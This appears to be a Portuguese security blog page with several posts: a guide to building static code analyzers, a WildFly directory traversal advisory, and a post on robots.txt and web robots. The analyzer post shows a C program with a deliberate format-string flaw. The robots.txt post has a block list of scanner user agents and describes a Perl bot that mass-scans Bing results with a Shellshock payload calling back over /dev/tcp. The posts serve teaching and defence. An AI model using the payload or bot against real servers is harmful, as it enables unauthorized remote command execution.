terça-feira, 23 de dezembro de 2014

Construindo analisadores de código

Com a preocupação em manter a qualidade do código, um bom desenvolvedor procura seguir padrões, mais conhecidos como boas práticas de programação, embora nem sempre essas boas práticas sejam aplicadas, elas ajudam a evitar problemas e de certa forma garantir um certo nível de segurança no produto final.


Conforme dito no parágrafo anterior, a ausência dessas boas práticas acabam trazendo problemas futuros que normalmente conhecemos como bugs. No caso específico desse post, vamos atentar aos bugs no contexto da segurança da aplicação, segue um programa em linguagem C com uma falha chamada Uncontrolled Format String:




#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
 char *login=malloc(sizeof(char)*16);
 char *password=malloc(sizeof(char)*5);
 char *secret_pass="1337"; 

 puts("Por favor digite seu login:");
 scanf("%15s",login);
 getchar();

 puts("Por favor digite sua senha:"); 
 scanf("%4s",password);
 getchar();

 printf(login);
 puts("\nTentativa de login...\n");

 if(strcmp(secret_pass,password))
  puts("Erro senha errada");
 else
  puts("Logado !");

 free(password);
 password=NULL;
 free(login);
 login=NULL;


 return 0;
}

Conforme visto no exemplo, a função printf() recebe uma variável de entrada chamada login sem nenhum tipo de tratamento e com o uso da função de forma incorreta, permitindo com isso que alguém possa inserir qualquer tipo de formato e até mesmo tentar identificar os últimos registros de dados na memória conforme podemos ver no exemplo abaixo, caso algum usuário tente inserir na entrada recebida pela variável login algo como:

Por favor digite eu login:
%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s
Por favor digite sua senha:
%s%s�"���%#��F#��|#���#���#���#���#��  �1�O1337%s%s%s%s%s%s%s%s%s%
Tentativa de login...
Erro senha errada

Nesse caso, podemos ver através da sujeira que foi retornada "�1�O1337%" os dados armazenados em alguma outra variável que por coincidência nesse caso nos retorna uma senha, o que acaba sendo algo extremamente crítico.

Atualmente um grande problema na análise de código fonte em um projeto é o volume de códigos que acaba dificultando o tempo de análise, sendo que um fator crucial é o tempo de entrega e em muitos casos, essa relação fator x entrega acaba afetando a análise do código, perdendo assim a qualidade da mesma. Normalmente, para resolver esse caso, são utilizadas soluções que automatizam essa tarefa de análise de código.

Assim como corretores ortográficos em software de textos, bem como Open Office. Analistas fazem uso de recursos para tentar automatizar a identificação de problemas, um deles análise estática,  que faz uso de técnicas para avaliar o código-fonte sem executá-lo, apontando assim possíveis problemas, meio á tantos falsos/positivos, por fim cabe somente ao analista dizer o que realmente é um "problema". 


Para se construir um analisador estático do zero, precisamos fazer um Parser para abstração de todas as palavras em um código fonte, tratando funções especificas da linguagem  int, if, while e for  e inserindo essas palavras em uma  AST (árvore de sintaxe abstrata)  que permite que sejam criadas buscas de acordo com casos que não obedeçam boas práticas e sejam geradores de problemas como por exemplo,  format string, memory leak, code injection, etc.

Vale a pena lembrar que os procedimentos utilizados para se construir um analisador de código, corretor ortográfico e tantos outros são semelhantes aos utilizados para construir um compilador, ou seja, a abstração do código fonte é feita utilizando um analisador léxico que separa o conteudo em cadeias que chamamos de tokens  para que seja feita logo após uma análise sintática que verifica se esses tokens realmente fazem parte da gramática da linguagem e alimentam uma árvore de derivação que servirá para  análise semântica que auxilia na validação da informação para por fim gerar o código final.

O analisador estático normalmente é específico para uma determinada linguagem de programação, o que já é o caso de muitos já existentes como Clang, splint, flawfinder, cppcheck. Devido a essa dependência, uma solução genérica para muitas linguagens é algo que parece impossível, porém, uma solução muito comum é a de modularização, que permite escrever regras de análise para uma linguagem especifica.

Existem outras formas de se fazer um analisador de códigos, logo abaixo temos um exemplo de um caso específico.

Em um código fonte de uma linguagem qualquer, encontramos uma função open(), no contexto comum abre um arquivo para leitura e escríta, entretanto a função close() não foi usadaindícios de estudos mostram que isso não é boa práticasendo evidente que podem ocorrer alguns problemas como por exemplo uma possível condição de corrida ( race conditions )...   

Para a construção do analisador, será utilizada para identificar o padrão de código um  Autômato Finito Determinístico que será responsável pela correlação do código. O código pode ser encontrado em:


https://github.com/convisoappsec/Mosca/blob/master/test_analysis/novotest.c


Como exemplo, utilizaremos um código PHP qualquer no seguinte caminho  "/home/user/area_test/test.php", obviamente ao compilar nosso programa teremos como saída:

<\?php

 $one = array("10", "20", "30", "40");
 $two = array("a", "b", "c", "d");

 $i=0;

 while($i < count($one)) {
    reset($two);
    while($a = each($two)) {
        echo $a[1]." - ".$one[$i].", \n"; 
    }
    $i++;
 
 }
 $file = fopen('config.php', 'w');

 $output="bingo"; 

 fwrite($file, $output);
...
===================
OPEN function at line 16
Have BAD practice here

Perfeito atingimos nosso objetivo de automação para análise em um caso específico. Lembrando que nosso analisador também funciona em linguagens como C, Perl, Python.  Esse assunto não acaba por aqui. 

Caso você leitor queira saber ou pesquisar mais sobre o assunto, estou desenvolvendo um software pessoal para auxiliar na análise de códigos. É um projeto Open Source que tem a intenção de ser um compêndio de analisadores.


Projeto se chama Mosca e pode ser encontrado aqui, ele usa módulos chamados eggs, cada egg seria um arquivo com extensão ".egg" com regras, cada regra usa seguinte estrutura: 







 ::Title::( Possible Uncontrolled Format string with printf() ):: 
 ::Description::( when you use printf() )::
 ::Relevance::( High ):: 
 ::Reference::( URL_reference )::
 ::Match::( printf\([a-zA-Z].* ):: 

Essa regra, detecta aquele Bug, bem no começo do nosso artigo Uncontrolled Format string, cada regra é agrupada com algumas informações "Título, Descrição, Referência...". Entretanto o campo mais importante seria Match do qual seria a expressão regular para identificar certo padrão. Com cada egg, usuários poderiam criar regras para PHP, ASP, JAVA, e também qualquer outra linguagem, entretanto o projeto caminha para algo mais complexo...

Fica uma frase do grande mestre Confúcio, para muitos frase de biscoito da sorte mas faz todo sentido pois tem uma grande relação com o artigo  :
"Transportai um punhado de terra todos os dias e fareis uma montanha."
Algumas idéias que devem ser implementadas no futuro sâo:

- Melhoria de código;
- Enumerar mais casos e implementar com o uso de autômatos;
- Carregar os analisadores usando a função dlopen, facilitando a utilização de plugins;
- Ter um HTTPd próprio com a utilização da libmongoose;
- Documentação de código utilizando Doxygen;
- Usar Datatables e view com syntax highlight semelhante ao RIPS.


Para concluir, existe um grande campo de pesquisa na área de analisadores, pois é uma área que ainda possuí muitos problemas e que através de pesquisa e desenvolvimento pode ser muito melhorada e trazer bons resultados.

Fica algumas referências:

terça-feira, 9 de dezembro de 2014

WildFly 8 (JBossAS) Application Directory Traversal Vulnerability - CVE-2014-7816

WildFly[1], formerly known as JBoss AS, or simply JBoss, is an application server authored by JBoss, now developed by Red Hat. WildFly is written in Java, and implements the Java Platform, Enterprise Edition (Java EE) specification. It runs on multiple platforms.

WildFly is free and open-source software, subject to the requirements of the GNU Lesser General Public License (LGPL), version 2.1."

Directory traversal[2] vulnerability in WildFly 8.1.0.Final allows remote attackers to read arbitrary files via a .. (dot dot) in the URI parameter in a render action to standalone/configuration/standalone.xml or any other configuration file.

The vendor has proveid patches that fix the flaws. Our advisory with more detailed information can be found at our website[3]. CVE mitre website[4].

[1] http://wildfly.org/
[2] https://www.owasp.org/index.php/Testing_Directory_traversal/file_include_(OTG-AUTHZ-001)
[3] https://www.conviso.com.br/advisories/CVE-2014-7816.txt
[4] http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2014-7816

segunda-feira, 24 de novembro de 2014

Testes de Segurança em processos de desenvolvimento ágil

Ainda que os testes, frequentemente, sejam vistos como uma fase em separado do desenvolvimento de uma aplicação, no método ágil, eles são uma tarefa totalmente integrada ao esforço de codificação. Dessa forma, é fundamental que os programadores e empresas identifiquem quais testes e análises de segurança devem ser feitos durante esse trabalho, assim como os momentos mais adequados para a execução de cada um deles.

Quer aprender mais sobre o assunto? Então continue lendo nosso post:

segunda-feira, 17 de novembro de 2014

Falando um pouco sobre Web Robots

Esse artigo pretende falar sobre os cuidados que devemos ter em relação ao arquivo robots.txt. Porém antes de iniciarmos, vale a pena uma introdução sobre o funcionamento de um robô e a estrutura do arquivo robots.txt.

Web Robot: De acordo com a definição da Wikipedia em [1], Web Robot é um programa de computador que faz uma varredura automática pela Internet por páginas com a finalidade de indexar, validar e monitorar alterações de conteúdo em documentos. Esses programas podem ser utilizados de várias formas como por exemplo para efetuar testes em aplicações em relação a suas funcionalidades ou até mesmo para medir o seu nível de segurança. Alguns exemplos de Web Robots conhecidos são o GoogleBot[2] e o Alexa[3].

Robots.txt: Ainda de acordo com definição da Wikipedia encontrada também em [1] robots.txt é um arquivo em formato texto que funciona como uma espécie de filtro para os robôs dos motores de busca na Internet, permitindo ou não o acesso total ou em partes de um determinado site.

Segue abaixo um exemplo de arquivo robots.txt encontrado no site do Google[4]:




Apesar de empresas serias como o buscador da Microsoft Bing e Google respeitarem o arquivo robots.txt, algumas outras indexam o conteúdo assim mesmo.

Qual preocupação deve ser considerada em relação ao arquivo "robots.txt”?
Temos o seguinte exemplo: Um atacante obtém a senha de acesso da interface web de uma aplicação e não encontra a localização para efetuar o acesso, porém, por algum descuido, o caminho de acesso para a área administrativa foi colocado como desabilitado no arquivo robots.txt, proporcionando ao atacante o necessário para completar o acesso. Portanto, não é recomendado colocar informações confidenciais no arquivo, como no caso do exemplo, páginas de autenticação, pois mesmo com a indexação desabilitada, caso o atacante tenha acesso ao arquivo robots.txt, o caminho acaba ficando em evidência para um possível ataque.

Quais outras recomendações devem ser adotadas?

A utilização de Sitemaps[5] que é uma funcionalidade baseada em whitelist é recomendada pois tem como característica dizer o que deve ser indexado. Com isso, o conteúdo adicionado deve aparecer e o que não estiver na lista deve ser descartado.
Outra recomendação deve ser a utilização de Meta tags[6], que tem um funcionamento similar ao arquivo robots.txt com o diferencial de cada página utilizar uma meta tag ao invés de um arquivo único padrão. Para visualização das meta tags, o código-fonte da página deve ser visualizado, como por exemplo: 
<meta name="robots" content="NOINDEX, NOFOLLOW">
O que significa dizer aos robôs de busca que a página não deve ser indexada e que não devem ser procurados outros links na mesma. Existem também algumas tags específicas que servem para permitir a indexação do site, como por exemplo:
<meta name="robots" content="INDEX, FOLLOW">

O "robots.txt" protege de todos os "Web Robots" ?

O arquivo robots.txt irá impedir robôs registrados e que aparentemente não são maliciosos(em teoria, eles obedecem o arquivo) em acessar as páginas que não vão ser indexadas em mecanismos de busca de acordo com as regras do arquivo, minimizando um dos vetores de ataque. Porém robôs maliciosos e que são criados com a finalidade de atacar são como tubarões procurando sangue, logo são implacáveis, seguindo apenas o seu próprio instinto.

Como identificar um "Web Robot" ?

Além de poder identificar por endereço IP, outro campo que serve como identificação é o User-Agent[7] que é o protocolo de transferência de hipertexto(HTTP) identificando o software do cliente que originou a solicitação (Request) usando um cabeçalho que tem o mesmo nome e que possuí dados do cliente, como por exemplo, o nome e a versão do navegador:
Mozilla/5.0 (X11; Linux i686; rv:32.0) Gecko/20100101 Firefox/32.0
Dependendo do propósito, o User-Agent é registrado em um servidor de controle com o intuito de ajudar os administradores de sistemas a identificar um robô, sendo na maioria das vezes utilizado para a criação de whitelists, definindo assim uma lista de robôs que terão ou não acesso dependendo do contexto. É possível também a criação de uma blacklist contendo alguns User-Agent sem registro com a finalidade de descartar robôs que não respeitam o arquivo robots.txt.

Alguns sites que mantém esse tipo de registro para consulta são o useragentstring[8] e o iplists[9].

Algumas ferramentas para testes de segurança em aplicações web como o Nikito[10], e automações em geral como o httrack[11] também fazem uso do User-Agent, sendo possível a identificação e a negação desse tipo de acesso, porém, vale lembrar que um User-Agent pode ser modificado caso o atacante tenha experiência.


Bloqueando um Web Robot utilizando o módulo do apache mod_rewrite


Podemos utilizar o mod_rewrite no servidor Apache para bloquear um possível robô malicioso. Para isso, será utilizado o exemplo de diretiva que segue abaixo:
<IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_USER_AGENT} ^$ [OR] RewriteCond %{HTTP_USER_AGENT} ^.*(HTTrack|arachni|nikto|w3af|).* [NC,OR] RewriteCond%{HTTP_USER_AGENT} 
^.*(winhttp|libwww\-perl|curl|wget|harvest|scan|grab|lisp_miner|tarantula).* [NC] RewriteRule ^(.*)$ - [F,L] </IfModule>
Caso isso provoque uma lentidão no servidor HTTP devido ao grande número de requisições, é possível utilizar algumas alternativas como por exemplo, escrever um módulo para o HTTPD ou até mesmo utilizar um proxy, desde que não seja utilizado Expressões Regulares[12] devido a problemas de performance já conhecidos e que podem ser prejudiciais no desempenho.


Foi ilustrado aqui apenas uma forma de mitigação de ataque feito por um "Web Robot". Existem diversas outras formas de se mitigar esse tipo de ataque, como por exemplo, colocar o IP do atacante numa blacklist, porém, toda a forma de proteção que tenha a finalidade aumentar a proteção e consequentemente dificultar o caminho do atacante deve ser considerada.


Exemplo de “Web Robot” para explorar Shellshock


Agora que a teoria sobre Web Robots e a estrutura do arquivo robots.txt foi dada, será demonstrado aqui um exemplo de um Web Robot desenvolvido em Perl que é mal intencionado e explora uma falha conhecida como Shellshock[13].


O Web Robot de exemplo faz uma busca no Bing de forma recursiva que é limitada por alvos. Em cada alvo ele tenta explorar o Shellshock que foi uma vulnerabilidade descoberta em setembro deste ano (2014) e que afeta diretamente o BASH (Bourne Again Shell)[14] em sistemas UNIX e que tem sido explorada deliberadamente em serviços HTTP, o que é decorrente de um problema com CGI[15] que utiliza variáveis de ambiente (User-Agent, Cookies), mais alguns detalhes sobre o bug podem ser encontrados em [16] e [17]. Esse foi um fator fundamental para essa vulnerabilidade ser escolhida nessa demonstração, pois essa vulnerabilidade é altamente crítica, podendo permitir a execução de comandos remotos na máquina da vítima, inclusive tendo um impacto tão interessante quanto a vulnerabilidade conhecida como Heartbleed[18].


Para exemplificar através de códigos, foi desenvolvido um Web Robot em Perl sem alguns recursos que poderiam ser implementados mas que no caso de exemplo não fazem falta (caso o leitor ache interessante, fica a implementação desses items como desafio) como proxy randômico e User-Agent randômico com o intuíto de demonstrar como uma pessoa mal intencionada pode desenvolver um Web Robot de forma simples e rápida.


O Web Robot pode ser encontrado na seguinte URL:
Dissecando um pouco o código, o payload utilizado para explorar a vulnerabilidade Shellshock conforme comentado anteriormente utiliza o protocolo HTTP, passando via parâmetros de "headers" conforme exemplo dado na linha 78 do código, onde foi utilizado um hash table para escrever o payload que explora a vulnerabilidade Shellshock através da utilização dos campos User-Agent e Cookies:
my @payload_headers = (  'User-Agent'=>"() { :;}; echo \"1\" > /dev/tcp/$home/51038 ",  'Cookie'=>"() { :;}; echo \"1\" > /dev/tcp/$home/51038 ",  'Accept'=>'image/gif,image/x-xbitmap,image/jpeg,image/pjpeg,image/png, */*',  'Accept-Charset'=>'iso-8859-1',  'Accept-Language'=>'en-US',  );
No exemplo dado, depois do trigger que chama o bash usamos "echo 1 > /dev/tcp/$home/51038", ou seja para enviar para máquina onde está o servidor algum sinal de vida, e com isso também é obtido o IP da máquina vulnerável. Existem outras formas, como por exemplo, utilizar o envio de um mail com a intenção de se adquirir o  endereço da máquina vulnerável, porém, esse é um processo bem difícil de ser executado por um atacante, pois ele poderia ser facilmente descoberto, provavelmente o atacante tentaria utilizar um outro indivíduo, ou talvez enviaria usando o Curl um POST para uma web shell, conseguindo assim obter o endereço da máquina.


Para testar o Web Robot:

$ perl jiraia_bot.pl "cgi-bin/page"  ip_server

Lembrando que ip_server seria o argumento referente ao endereço do servidor que está em escuta, ou seja esse programa ira listar os servidores vulneráveis ao Shellshock:

$ perl listening_tcp.pl


Bom a essa altura do campeonato, a falha já foi muito explorada (talvez não em outros serviços como SMTP) e já teve alguns patches criados, com isso, muitos administradores de sistema já conseguem dormir sem pensar nesse problema. A intenção desse exemplo foi demonstrar como funciona dentro da mente de um atacante (adepto de ataque em massa), claro que no ponto de vista a uma falha específica, nesse caso, o Shellshock. Agora imagine milhares de bots procurando SQL Injection ou qualquer tipo de vulnerabilidade? Esse é um fator possível e a perspectiva de sucesso é alta, portanto é necessário estar sempre atento.


Para finalizar, um pensamento famoso de Sun Tzu:




Referências: